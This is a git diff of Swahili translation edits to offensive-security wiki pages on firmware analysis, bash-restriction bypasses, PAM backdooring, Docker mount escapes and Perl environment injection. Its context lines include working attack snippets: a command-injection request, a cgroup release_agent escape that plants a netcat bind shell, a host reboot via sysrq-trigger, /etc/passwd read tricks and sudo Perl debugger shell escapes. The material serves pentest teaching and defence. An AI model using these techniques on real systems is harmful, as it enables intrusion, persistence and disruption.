+19,14 @@ Firmware ni programu muhimu inayowezesha vifaa kufanya kazi ipasavyo kwa kusimam - Mchoro wa usanifu na michoro ya mtiririko - Tathmini za usalama na udhaifu ulioainishwa -Kwa kusudi hili, zana za **intelligence ya chanzo wazi (OSINT)** ni muhimu, kama vile uchambuzi wa vipengele vyovyote vya programu za chanzo wazi vinavyopatikana kupitia mchakato wa ukaguzi wa mikono na wa kiotomatiki. Zana kama [Coverity Scan](https://scan.coverity.com) na [Semmle’s LGTM](https://lgtm.com/#explore) hutoa uchambuzi wa statiki bure ambao unaweza kutumika kugundua matatizo yanayoweza kutokea. +Kwa kusudi hili, zana za **open-source intelligence (OSINT)** ni muhimu, kama vile uchambuzi wa vipengele vyovyote vya programu za chanzo wazi vinavyopatikana kupitia mchakato wa ukaguzi wa mikono na wa kiotomatiki. Zana kama [Coverity Scan](https://scan.coverity.com) na [Semmle’s LGTM](https://lgtm.com/#explore) hutoa uchambuzi wa statiki bure ambao unaweza kutumika kugundua matatizo yanayoweza kutokea. ## **Kupata Firmware** Kupata firmware kunaweza kufanywa kwa njia mbalimbali, kila moja ikiwa na ngazi yake ya ugumu: - **Moja kwa moja** kutoka kwa chanzo (waendelezaji, watengenezaji) -- **Kujenga** kutoka kwa maagizo yaliyotolewa +- **Kujenga** kutoka kwa maelekezo yaliyotolewa - **Kupakua** kutoka kwenye tovuti rasmi za msaada - Kutumia **Google dork** maswali ya kutafuta faili za firmware zilizohifadhiwa - Kufikia **hifadhi ya wingu** moja kwa moja, kwa kutumia zana kama [S3Scanner](https://github.com/sa7mon/S3Scanner) @@ -60,8 +60,8 @@ Au [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive ### Kupata Mfumo wa Faili -Kwa zana zilizotajwa hapo awali kama `binwalk -ev `, unapaswa kuwa umeweza **kutoa mfumo wa faili**.\ -Binwalk kawaida hutoa ndani ya **folda iliyo na jina la aina ya mfumo wa faili**, ambayo mara nyingi ni mojawapo ya yafuatayo: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs. +Kwa zana zilizotajwa hapo awali kama `binwalk -ev ` unapaswa kuwa umeweza **kutoa mfumo wa faili**.\ +Binwalk kawaida hutoa ndani ya **folda iliyo na jina la aina ya mfumo wa faili**, ambayo mara nyingi ni moja ya zifuatazo: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs. #### Utoaji wa Mfumo wa Faili kwa Mikono @@ -128,7 +128,7 @@ fdisk -lu #lists partitions and filesystems, if there are multiple ``` Ili kutathmini hali ya usimbaji wa picha, **entropy** inakaguliwa kwa `binwalk -E `. Entropy ya chini inaashiria ukosefu wa usimbaji, wakati entropy ya juu inaonyesha uwezekano wa usimbaji au ufinyanzi. -Kwa ajili ya kutoa **faili zilizojumuishwa**, zana na rasilimali kama vile nyaraka za **file-data-carving-recovery-tools** na **binvis.io** kwa ajili ya ukaguzi wa faili zinapendekezwa. +Kwa ajili ya kutoa **faili zilizojumuishwa**, zana na rasilimali kama vile **file-data-carving-recovery-tools** nyaraka na **binvis.io** kwa ajili ya ukaguzi wa faili zinapendekezwa. ### Kutolewa kwa Faili za Mfumo @@ -154,19 +154,19 @@ Mara mfumo wa faili unapotolewa, utafutaji wa kasoro za usalama huanza. Kipaumbe Zana kadhaa zinasaidia katika kufichua taarifa nyeti na udhaifu ndani ya mfumo wa faili: -- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) na [**Firmwalker**](https://github.com/craigz28/firmwalker) kwa ajili ya utafutaji wa taarifa nyeti -- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) kwa ajili ya uchambuzi wa kina wa firmware -- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), na [**EMBA**](https://github.com/e-m-b-a/emba) kwa ajili ya uchambuzi wa statiki na wa dinamik +- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) na [**Firmwalker**](https://github.com/craigz28/firmwalker) kwa utafutaji wa taarifa nyeti +- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) kwa uchambuzi wa kina wa firmware +- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), na [**EMBA**](https://github.com/e-m-b-a/emba) kwa uchambuzi wa statiki na wa dinamik ### Ukaguzi wa Usalama kwenye Binaries Zilizokusanywa -Msimbo wa chanzo na binaries zilizokusanywa zinazopatikana katika mfumo wa faili zinapaswa kuchunguzwa kwa udhaifu. Zana kama **checksec.sh** kwa binaries za Unix na **PESecurity** kwa binaries za Windows husaidia kubaini binaries zisizo na ulinzi ambazo zinaweza kutumika vibaya. +Msimbo wa chanzo na binaries zilizokusanywa zinazopatikana katika mfumo wa faili zinapaswa kuchunguzwa kwa udhaifu. Zana kama **checksec.sh** kwa binaries za Unix na **PESecurity** kwa binaries za Windows husaidia kubaini binaries zisizo na ulinzi ambazo zinaweza kutumiwa. -## Kuingiza Firmware kwa Uchambuzi wa Dinamik +## Kuiga Firmware kwa Uchambuzi wa Dinamik -Mchakato wa kuiga firmware unaruhusu **uchambuzi wa dinamik** ama wa uendeshaji wa kifaa au programu binafsi. Njia hii inaweza kukutana na changamoto za utegemezi wa vifaa au usanifu, lakini kuhamasisha mfumo wa faili wa mzizi au binaries maalum kwa kifaa chenye usanifu na endianness inayolingana, kama vile Raspberry Pi, au kwa mashine halisi iliyojengwa mapema, kunaweza kuwezesha majaribio zaidi. +Mchakato wa kuiga firmware unaruhusu **uchambuzi wa dinamik** ama wa uendeshaji wa kifaa au programu binafsi. Njia hii inaweza kukutana na changamoto za utegemezi wa vifaa au usanifu, lakini kuhamasisha mfumo wa faili wa mzizi au binaries maalum kwa kifaa chenye usanifu na endianness inayolingana, kama vile Raspberry Pi, au kwa mashine halisi iliyojengwa awali, kunaweza kuwezesha majaribio zaidi. -### Kuingiza Binaries Binafsi +### Kuiga Binaries Binafsi Kwa ajili ya kuchunguza programu moja, kubaini endianness ya programu na usanifu wa CPU ni muhimu. @@ -192,40 +192,40 @@ Zana kama [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysi ## Uchambuzi wa Dynamic katika Vitendo -Katika hatua hii, mazingira halisi au ya uigaji ya kifaa hutumika kwa uchambuzi. Ni muhimu kudumisha ufikiaji wa shell kwa OS na filesystem. Uigaji huenda usifanane kikamilifu na mwingiliano wa vifaa, hivyo inahitajika mara kwa mara kuanzisha upya uigaji. Uchambuzi unapaswa kutembelea filesystem, kutumia kurasa za wavuti zilizofichuliwa na huduma za mtandao, na kuchunguza udhaifu wa bootloader. Majaribio ya uadilifu wa firmware ni muhimu ili kubaini udhaifu wa backdoor unaoweza kuwepo. +Katika hatua hii, mazingira halisi au ya uigaji ya kifaa hutumika kwa uchambuzi. Ni muhimu kudumisha ufikiaji wa shell kwa OS na mfumo wa faili. Uigaji huenda usifanane kikamilifu na mwingiliano wa vifaa, hivyo inahitajika mara kwa mara kuanzisha upya uigaji. Uchambuzi unapaswa kutembelea mfumo wa faili, kutumia tovuti zilizofichuliwa na huduma za mtandao, na kuchunguza udhaifu wa bootloader. Majaribio ya uaminifu wa firmware ni muhimu ili kubaini udhaifu wa backdoor unaoweza kuwepo. -## Mbinu za Uchambuzi wa Wakati wa Uendeshaji +## Mbinu za Uchambuzi wa Wakati -Uchambuzi wa wakati wa uendeshaji unahusisha kuingiliana na mchakato au binary katika mazingira yake ya uendeshaji, kwa kutumia zana kama gdb-multiarch, Frida, na Ghidra kwa kuweka breakpoints na kubaini udhaifu kupitia fuzzing na mbinu nyingine. +Uchambuzi wa wakati unahusisha kuingiliana na mchakato au binary katika mazingira yake ya uendeshaji, kwa kutumia zana kama gdb-multiarch, Frida, na Ghidra kwa kuweka breakpoints na kubaini udhaifu kupitia fuzzing na mbinu nyingine. ## Ukatili wa Binary na Ushahidi wa Dhihirisho -Kuendeleza PoC kwa udhaifu ulioainishwa kunahitaji uelewa wa kina wa usanifu wa lengo na programu katika lugha za kiwango cha chini. Ulinzi wa wakati wa uendeshaji wa binary katika mifumo iliyojumuishwa ni nadra, lakini inapokuwepo, mbinu kama Return Oriented Programming (ROP) zinaweza kuwa muhimu. +Kuendeleza PoC kwa udhaifu ulioainishwa kunahitaji uelewa wa kina wa usanifu wa lengo na programu katika lugha za kiwango cha chini. Ulinzi wa wakati wa binary katika mifumo iliyojumuishwa ni nadra, lakini inapokuwepo, mbinu kama Return Oriented Programming (ROP) zinaweza kuwa muhimu. ## Mifumo ya Uendeshaji Iliyoandaliwa kwa Uchambuzi wa Firmware -Mifumo ya uendeshaji kama [AttifyOS](https://github.com/adi0x90/attifyos) na [EmbedOS](https://github.com/scriptingxss/EmbedOS) hutoa mazingira yaliyoandaliwa mapema kwa ajili ya mtihani wa usalama wa firmware, yakiwa na zana muhimu. +Mifumo ya uendeshaji kama [AttifyOS](https://github.com/adi0x90/attifyos) na [EmbedOS](https://github.com/scriptingxss/EmbedOS) hutoa mazingira yaliyoandaliwa mapema kwa ajili ya mtihani wa usalama wa firmware, ikiwa na zana muhimu. -## Mifumo ya Uendeshaji Iliyoandaliwa Kuchambua Firmware +## Mifumo ya Uendeshaji Iliyoandaliwa kuchambua Firmware -- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS ni distro inayokusudiwa kukusaidia kufanya tathmini ya usalama na mtihani wa penetration wa vifaa vya Internet of Things (IoT). Inakuokoa muda mwingi kwa kutoa mazingira yaliyoandaliwa mapema na zana zote muhimu. +- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS ni distro inayokusudia kukusaidia kufanya tathmini ya usalama na mtihani wa penetration wa vifaa vya Internet of Things (IoT). Inakuokoa muda mwingi kwa kutoa mazingira yaliyoandaliwa mapema na zana zote muhimu. - [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Mfumo wa uendeshaji wa mtihani wa usalama wa embedded unaotegemea Ubuntu 18.04 uliojaa zana za mtihani wa usalama wa firmware. ## Mashambulizi ya Kupunguza Firmware na Mechanisms za Sasisho zisizo Salama Hata wakati muuzaji anatekeleza ukaguzi wa saini za cryptographic kwa picha za firmware, **ulinzi wa kurudi nyuma (downgrade) mara nyingi haujajumuishwa**. Wakati boot- au recovery-loader inathibitisha tu saini na funguo za umma zilizojumuishwa lakini hailinganishe *toleo* (au counter monotonic) ya picha inayowekwa, mshambuliaji anaweza halali kufunga **firmware ya zamani, yenye udhaifu ambayo bado ina saini halali** na hivyo kuanzisha tena udhaifu uliofanyiwa marekebisho. -Mchakato wa shambulizi wa kawaida: +Mchakato wa kawaida wa shambulio: 1. **Pata picha ya zamani iliyosainiwa** * Iteue kutoka kwenye portal ya umma ya kupakua ya muuzaji, CDN au tovuti ya msaada. * Iondoe kutoka kwa programu za simu/kompyuta za mezani (kwa mfano ndani ya APK ya Android chini ya `assets/firmware/`). -* Irejeshe kutoka kwa hazina za wahusika wengine kama VirusTotal, archives za mtandao, forums, nk. -2. **Pakia au tolea picha kwa kifaa** kupitia njia yoyote ya sasisho iliyofichuliwa: +* Irejeshe kutoka kwa hifadhi za wahusika wengine kama VirusTotal, archives za mtandao, forums, nk. +2. **Pakia au tolea picha hiyo kwa kifaa** kupitia njia yoyote ya sasisho iliyofichuliwa: * Web UI, API ya programu ya simu, USB, TFTP, MQTT, nk. * Vifaa vingi vya IoT vya watumiaji vinatoa *michakato isiyoidhinishwa* ya HTTP(S) ambayo inakubali blobs za firmware zilizowekwa Base64, kuzifungua upande wa seva na kuanzisha urejeleaji/kuinua. 3. Baada ya kupunguza, tumia udhaifu ambao ulifanyiwa marekebisho katika toleo jipya (kwa mfano, chujio cha kuingiza amri ambacho kiliongezwa baadaye). -4. Kwa hiari flash picha ya hivi karibuni tena au zima sasisho ili kuepuka kugunduliwa mara tu uvumilivu umepatikana. +4. Kwa hiari flash picha ya hivi karibuni tena au zima sasisho ili kuepuka kugundulika mara tu uvumilivu umepatikana. ### Mfano: Kuingiza Amri Baada ya Kupunguza ```http @@ -246,17 +246,17 @@ firmware_v1.3.11.490_signed.bin ``` ### Orodha ya Kuangalia Mantiki ya Sasisho -* Je, usafirishaji/uidhinishaji wa *kituo cha sasisho* umehifadhiwa ipasavyo (TLS + uidhinishaji)? -* Je, kifaa kinalinganisha **nambari za toleo** au **kikadiriaji cha kupunguza kurudi nyuma** kabla ya kuandika? +* Je, usafiri/uidhinishaji wa *kituo cha sasisho* umehifadhiwa ipasavyo (TLS + uidhinishaji)? +* Je, kifaa kinalinganisha **nambari za toleo** au **kikadiriaji cha kupunguza nyuma kisichobadilika** kabla ya kuandika? * Je, picha inathibitishwa ndani ya mnyororo wa kuanza salama (kwa mfano, saini zinakaguliwa na msimbo wa ROM)? * Je, msimbo wa userland unafanya ukaguzi wa ziada wa akili (kwa mfano, ramani ya sehemu inayoruhusiwa, nambari ya mfano)? -* Je, *mchakato wa* sasisho *ya sehemu* au *hifadhi* unatumia mantiki ile ile ya uthibitishaji? +* Je, *mchakato wa sehemu* au *hifadhi* wa sasisho unatumia mantiki ile ile ya uthibitishaji? > 💡 Ikiwa yoyote kati ya hapo juu inakosekana, jukwaa linaweza kuwa hatarini kwa mashambulizi ya kurudi nyuma. ## Firmware yenye Uhatari ya Kufanya Mazoezi -Ili kufanya mazoezi ya kugundua udhaifu katika firmware, tumia miradi ifuatayo ya firmware yenye uhatari kama hatua ya kuanzia. +Ili kufanya mazoezi ya kugundua udhaifu katika firmware, tumia miradi ifuatayo ya firmware yenye uhatari kama hatua ya mwanzo. - OWASP IoTGoat - [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat) diff --git a/src/linux-hardening/bypass-bash-restrictions/README.md b/src/linux-hardening/bypass-bash-restrictions/README.md index 5662be51b..c0160db4e 100644 --- a/src/linux-hardening/bypass-bash-restrictions/README.md +++ b/src/linux-hardening/bypass-bash-restrictions/README.md @@ -78,7 +78,7 @@ mi # This will throw an error whoa # This will throw an error !-1!-2 # This will execute whoami ``` -### Pita maeneo yaliyokatazwa +### Pita nafasi zilizokatazwa ```bash # {form} {cat,lol.txt} # cat lol.txt @@ -110,7 +110,7 @@ uname!-1\-a # This equals to uname -a cat ${HOME:0:1}etc${HOME:0:1}passwd cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd ``` -### Kupita mabomba +### Bypass pipes ```bash bash<<<$(base64 -d<< 🛠️ Changanya hila hii na vifaa vya ROP vinavyopiga simu `system()` ili kuongeza kwa kiasi kikubwa uaminifu wa exploit kwenye route za IoT zenye ukosefu wa kumbukumbu. +> 🛠️ Changanya hila hii na ROP gadgets zinazopiga simu `system()` ili kuongeza kwa kiasi kikubwa uaminifu wa exploit kwenye route za IoT zenye ukosefu wa kumbukumbu. ## Marejeleo na Zaidi diff --git a/src/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md b/src/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md index 8d73ef0fd..5c7519ac6 100644 --- a/src/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md +++ b/src/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md @@ -4,7 +4,7 @@ ### Basic Information -**PAM (Pluggable Authentication Modules)** inafanya kazi kama mekanizma ya usalama ambayo **inasimamia utambulisho wa watumiaji wanaojaribu kufikia huduma za kompyuta**, ikidhibiti ufikiaji wao kulingana na vigezo mbalimbali. Ni kama mlango wa kidijitali, ikihakikisha kwamba ni watumiaji walioidhinishwa pekee wanaweza kushiriki na huduma maalum huku ikipunguza matumizi yao ili kuzuia mzigo wa mfumo. +**PAM (Pluggable Authentication Modules)** inafanya kazi kama mekanizma ya usalama ambayo **inasimamia utambulisho wa watumiaji wanaojaribu kufikia huduma za kompyuta**, ikidhibiti ufikiaji wao kulingana na vigezo mbalimbali. Ni kama mlango wa kidijitali, kuhakikisha kwamba ni watumiaji walioidhinishwa pekee wanaweza kushiriki na huduma maalum huku wakipunguza matumizi yao ili kuzuia mzigo wa mfumo. #### Configuration Files @@ -24,33 +24,33 @@ password required /lib/security/pam_ldap.so password required /lib/security/pam_pwdb.so use_first_pass session required /lib/security/pam_unix_session.so ``` -#### **PAM Usimamizi wa Mifumo** +#### **PAM Management Realms** -Mifumo hii, au vikundi vya usimamizi, vinajumuisha **auth**, **account**, **password**, na **session**, kila moja ikiwa na jukumu tofauti katika mchakato wa uthibitishaji na usimamizi wa kikao: +Hizi ni maeneo, au vikundi vya usimamizi, vinavyohusisha **auth**, **account**, **password**, na **session**, kila moja ikiwa na jukumu tofauti katika mchakato wa uthibitishaji na usimamizi wa kikao: - **Auth**: Inathibitisha utambulisho wa mtumiaji, mara nyingi kwa kuomba nenosiri. -- **Account**: Inashughulikia uthibitishaji wa akaunti, ikikagua hali kama uanachama wa kikundi au vizuizi vya wakati wa siku. +- **Account**: Inashughulikia uthibitisho wa akaunti, ikikagua hali kama vile uanachama wa kikundi au vizuizi vya wakati wa siku. - **Password**: Inasimamia masasisho ya nenosiri, ikiwa ni pamoja na ukaguzi wa ugumu au kuzuia mashambulizi ya kamusi. -- **Session**: Inasimamia vitendo wakati wa kuanza au kumaliza kikao cha huduma, kama vile kuunganisha directories au kuweka mipaka ya rasilimali. +- **Session**: Inasimamia vitendo wakati wa kuanza au kumaliza kikao cha huduma, kama vile kuunganisha saraka au kuweka mipaka ya rasilimali. -#### **Udhibiti wa Moduli za PAM** +#### **PAM Module Controls** -Udhibiti unatoa mwitikio wa moduli kwa mafanikio au kushindwa, ukihusisha mchakato mzima wa uthibitishaji. Hizi ni pamoja na: +Udhibiti unamua jinsi moduli inavyofanya kazi kwa mafanikio au kushindwa, ikishawishi mchakato mzima wa uthibitishaji. Hizi ni pamoja na: - **Required**: Kushindwa kwa moduli inayohitajika kunasababisha kushindwa kwa jumla, lakini tu baada ya moduli zote zinazofuata kukaguliwa. -- **Requisite**: Kumaliza mara moja mchakato baada ya kushindwa. -- **Sufficient**: Mafanikio yanakwepa ukaguzi wa moduli zingine za mfumo huo isipokuwa moduli inayofuata ikishindwa. +- **Requisite**: Kumaliza mchakato mara moja baada ya kushindwa. +- **Sufficient**: Mafanikio yanakwepa ukaguzi wa moduli zingine za eneo hilo isipokuwa moduli inayofuata ikishindwa. - **Optional**: Inasababisha kushindwa tu ikiwa ndiyo moduli pekee katika safu. #### Mfano wa Hali -Katika usanidi wenye moduli nyingi za uthibitishaji, mchakato unafuata mpangilio mkali. Ikiwa moduli ya `pam_securetty` inakuta terminal ya kuingia haina ruhusa, kuingia kwa root kunazuiwa, lakini moduli zote bado zinashughulikiwa kutokana na hadhi yake ya "required". Moduli ya `pam_env` inaweka mabadiliko ya mazingira, ambayo yanaweza kusaidia katika uzoefu wa mtumiaji. Moduli za `pam_ldap` na `pam_unix` zinafanya kazi pamoja kuthibitisha mtumiaji, huku `pam_unix` ikijaribu kutumia nenosiri lililotolewa awali, ikiongeza ufanisi na kubadilika katika mbinu za uthibitishaji. +Katika usanidi wenye moduli nyingi za uthibitishaji, mchakato unafuata mpangilio mkali. Ikiwa moduli ya `pam_securetty` inakuta terminal ya kuingia haijaruhusiwa, kuingia kwa root kunazuiwa, lakini moduli zote bado zinashughulikiwa kutokana na hadhi yake ya "required". Moduli ya `pam_env` inaweka mabadiliko ya mazingira, ambayo yanaweza kusaidia katika uzoefu wa mtumiaji. Moduli za `pam_ldap` na `pam_unix` zinafanya kazi pamoja kuthibitisha mtumiaji, huku `pam_unix` ikijaribu kutumia nenosiri lililotolewa awali, ikiongeza ufanisi na kubadilika katika mbinu za uthibitishaji. -## Kuweka Nyuma PAM – Kuunganisha `pam_unix.so` +## Backdooring PAM – Hooking `pam_unix.so` -Njia ya jadi ya kudumu katika mazingira ya Linux yenye thamani kubwa ni **kubadilisha maktaba halali ya PAM na trojanised drop-in**. Kwa sababu kila kuingia kwa SSH / console huishia kuita `pam_unix.so:pam_sm_authenticate()`, mistari michache ya C inatosha kukamata akidi au kutekeleza *magic* password bypass. +Njia ya jadi ya kudumu katika mazingira ya Linux yenye thamani kubwa ni **kubadilisha maktaba halali ya PAM na ya trojanised drop-in**. Kwa sababu kila kuingia kwa SSH / console huishia kuita `pam_unix.so:pam_sm_authenticate()`, mistari michache ya C inatosha kukamata akidi au kutekeleza *magic* password bypass. -### Cheatsheet ya Uundaji +### Compilation Cheatsheet ```c #define _GNU_SOURCE #include @@ -98,7 +98,7 @@ touch -r /bin/ls /lib/security/pam_unix.so # timestomp ### Detection * Linganisha MD5/SHA256 ya `pam_unix.so` dhidi ya pakiti ya distro. * Angalia kwa umiliki wa dunia unaoweza kuandikwa au usio wa kawaida chini ya `/lib/security/`. -* `auditd` sheria: `-w /lib/security/pam_unix.so -p wa -k pam-backdoor`. +* Kanuni ya `auditd`: `-w /lib/security/pam_unix.so -p wa -k pam-backdoor`. ### References diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md index 633693d8b..a04613cf7 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md @@ -16,7 +16,7 @@ Maktaba hii inaruhusu ufikiaji wa kubadilisha vigezo vya kernel, kawaida kupitia - Imeelezwa katika [core(5)](https://man7.org/linux/man-pages/man5/core.5.html). - Ikiwa unaweza kuandika ndani ya faili hii inawezekana kuandika bomba `|` ikifuatiwa na njia ya programu au script ambayo itatekelezwa baada ya ajali kutokea. -- Mshambuliaji anaweza kupata njia ndani ya mwenyeji kwa kontena lake kwa kutekeleza `mount` na kuandika njia ya binary ndani ya mfumo wa faili wa kontena lake. Kisha, angamiza programu ili kufanya kernel itekeleze binary nje ya kontena. +- Mshambuliaji anaweza kupata njia ndani ya mwenyeji kwa kontena lake akitekeleza `mount` na kuandika njia ya binary ndani ya mfumo wa faili wa kontena lake. Kisha, angamiza programu ili kufanya kernel itekeleze binary nje ya kontena. - **Mfano wa Upimaji na Ukatili**: ```bash @@ -49,7 +49,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Angalia upatikanaji wa modprobe #### **`/proc/sys/vm/panic_on_oom`** -- Imeelekezwa katika [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). +- Imejumuishwa katika [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). - Bendera ya kimataifa inayodhibiti ikiwa kernel itakumbwa na hofu au kuanzisha OOM killer wakati hali ya OOM inatokea. #### **`/proc/sys/fs`** @@ -59,9 +59,9 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Angalia upatikanaji wa modprobe #### **`/proc/sys/fs/binfmt_misc`** -- Inaruhusu kujiandikisha kwa wakalimani wa fomati za binary zisizo za asili kulingana na nambari yao ya uchawi. +- Inaruhusu kujiandikisha kwa wakalimani wa muundo wa binary usio wa asili kulingana na nambari yake ya uchawi. - Inaweza kusababisha kupanda kwa haki au upatikanaji wa shell ya root ikiwa `/proc/sys/fs/binfmt_misc/register` inaweza kuandikwa. -- Uthibitisho wa husika na maelezo: +- Uvunjaji husika na maelezo: - [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc) - Mafunzo ya kina: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ) @@ -74,7 +74,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Angalia upatikanaji wa modprobe #### **`/proc/sysrq-trigger`** -- Inaruhusu kuitisha amri za Sysrq, ambayo inaweza kusababisha upya mara moja kwa mfumo au hatua nyingine muhimu. +- Inaruhusu kuitisha amri za Sysrq, ambayo inaweza kusababisha upya wa mfumo mara moja au hatua nyingine muhimu. - **Mfano wa Kuanzisha Upya Mwenyeji**: ```bash @@ -84,13 +84,13 @@ echo b > /proc/sysrq-trigger # Inarejesha mwenyeji #### **`/proc/kmsg`** - Inafichua ujumbe wa buffer ya ring ya kernel. -- Inaweza kusaidia katika mashambulizi ya kernel, kuvuja kwa anwani, na kutoa taarifa nyeti za mfumo. +- Inaweza kusaidia katika uvunjaji wa kernel, kuvuja kwa anwani, na kutoa taarifa nyeti za mfumo. #### **`/proc/kallsyms`** - Inataja alama za kernel zilizotolewa na anwani zao. -- Muhimu kwa maendeleo ya mashambulizi ya kernel, hasa kwa kushinda KASLR. -- Taarifa za anwani zimepunguzika ikiwa `kptr_restrict` imewekwa kuwa `1` au `2`. +- Muhimu kwa maendeleo ya uvunjaji wa kernel, hasa kwa kushinda KASLR. +- Taarifa za anwani zinapunguzwa ikiwa `kptr_restrict` imewekwa kuwa `1` au `2`. - Maelezo katika [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). #### **`/proc/[pid]/mem`** @@ -119,7 +119,7 @@ echo b > /proc/sysrq-trigger # Inarejesha mwenyeji #### **`/proc/sched_debug`** - Inarudisha taarifa za kupanga mchakato, ikipita ulinzi wa PID namespace. -- Inafichua majina ya michakato, IDs, na vitambulisho vya cgroup. +- Inafichua majina ya mchakato, IDs, na vitambulisho vya cgroup. #### **`/proc/[pid]/mountinfo`** @@ -131,8 +131,8 @@ echo b > /proc/sysrq-trigger # Inarejesha mwenyeji #### **`/sys/kernel/uevent_helper`** - Inatumika kwa kushughulikia `uevents` za kifaa cha kernel. -- Kuandika kwenye `/sys/kernel/uevent_helper` kunaweza kutekeleza skripti zisizo na mpangilio wakati wa kuanzishwa kwa `uevent`. -- **Mfano wa Ukatili**: +- Kuandika kwenye `/sys/kernel/uevent_helper` kunaweza kutekeleza skripti zisizo za kawaida wakati wa kuanzishwa kwa `uevent`. +- **Mfano wa Uvunjaji**: ```bash #### Creates a payload @@ -231,7 +231,8 @@ REFRESH_TOKEN_SECRET=14ea /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html -/ # echo '' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index2.html +/ # echo '' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh +are/nginx/html/index2.html ``` The XSS was achieved: @@ -320,7 +321,7 @@ mkdir -p /tmp/x && echo 1 > /tmp/x/notify_on_release echo '/tmp/pwn' > /sys/fs/cgroup/release_agent # requires CVE-2022-0492 echo -e '#!/bin/sh\nnc -lp 4444 -e /bin/sh' > /tmp/pwn && chmod +x /tmp/pwn -sh -c "echo 0 > /tmp/x/cgroup.procs" # triggers the empty-cgroup event +sh -c "echo 0 > /tmp/x/cgroup.procs" # inasababisha tukio la empty-cgroup ``` When the last process leaves the cgroup, `/tmp/pwn` runs **as root on the host**. Patched kernels (>5.8 with commit `32a0db39f30d`) validate the writer’s capabilities and block this abuse. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md index 573d9b149..6dd0885fe 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md @@ -10,7 +10,7 @@ Kwa mfano, tengeneza script hii: #!/usr/bin/perl print "Hello from the Perl script!\n"; ``` -Sasa **exporta variable ya env** na uendeleze **perl** script: +Sasa **export the env variable** na uendeleze **perl** script: ```bash export PERL5OPT='-Mwarnings;system("whoami")' perl test.pl # This will execute "whoami" @@ -26,18 +26,19 @@ Na kisha tumia mabadiliko ya mazingira ili moduli ipatikane na kupakiwa kiotomat ```bash PERL5LIB=/tmp/ PERL5OPT=-Mpmod perl victim.pl ``` -### Mabadiliko mengine ya mazingira yanayovutia +### Mengine mengine ya kuvutia -* **`PERL5DB`** – wakati mfasiri anapoanzishwa na bendera **`-d`** (debugger), maudhui ya `PERL5DB` yanatekelezwa kama msimbo wa Perl *ndani ya* muktadha wa debugger. Ikiwa unaweza kuathiri mazingira **na** bendera za amri za mchakato wa Perl wenye mamlaka, unaweza kufanya kitu kama: +* **`PERL5DB`** – wakati mfasiri anapoanzishwa na bendera **`-d`** (debugger), maudhui ya `PERL5DB` yanatekelezwa kama msimbo wa Perl *ndani ya* muktadha wa debugger. +Ikiwa unaweza kuathiri mazingira **na** bendera za amri za mchakato wa Perl wenye mamlaka, unaweza kufanya kitu kama: ```bash export PERL5DB='system("/bin/zsh")' -sudo perl -d /usr/bin/some_admin_script.pl # itatoa shell kabla ya kutekeleza skripti +sudo perl -d /usr/bin/some_admin_script.pl # itatoa shell kabla ya kutekeleza script ``` -* **`PERL5SHELL`** – kwenye Windows, mabadiliko haya yanadhibiti ni shell ipi inayoweza kutekelezwa ambayo Perl itatumia inapohitaji kuanzisha shell. Inatajwa hapa tu kwa ukamilifu, kwani si muhimu kwenye macOS. +* **`PERL5SHELL`** – kwenye Windows, variable hii inasimamia ni executable ipi ya shell ambayo Perl itatumia inapohitajika kuanzisha shell. Inatajwa hapa tu kwa ukamilifu, kwani si muhimu kwenye macOS. -Ingawa `PERL5DB` inahitaji swichi `-d`, ni kawaida kukutana na skripti za matengenezo au za installer ambazo zinafanywa kama *root* na bendera hii imewezeshwa kwa ajili ya kutatua matatizo kwa kina, na kufanya 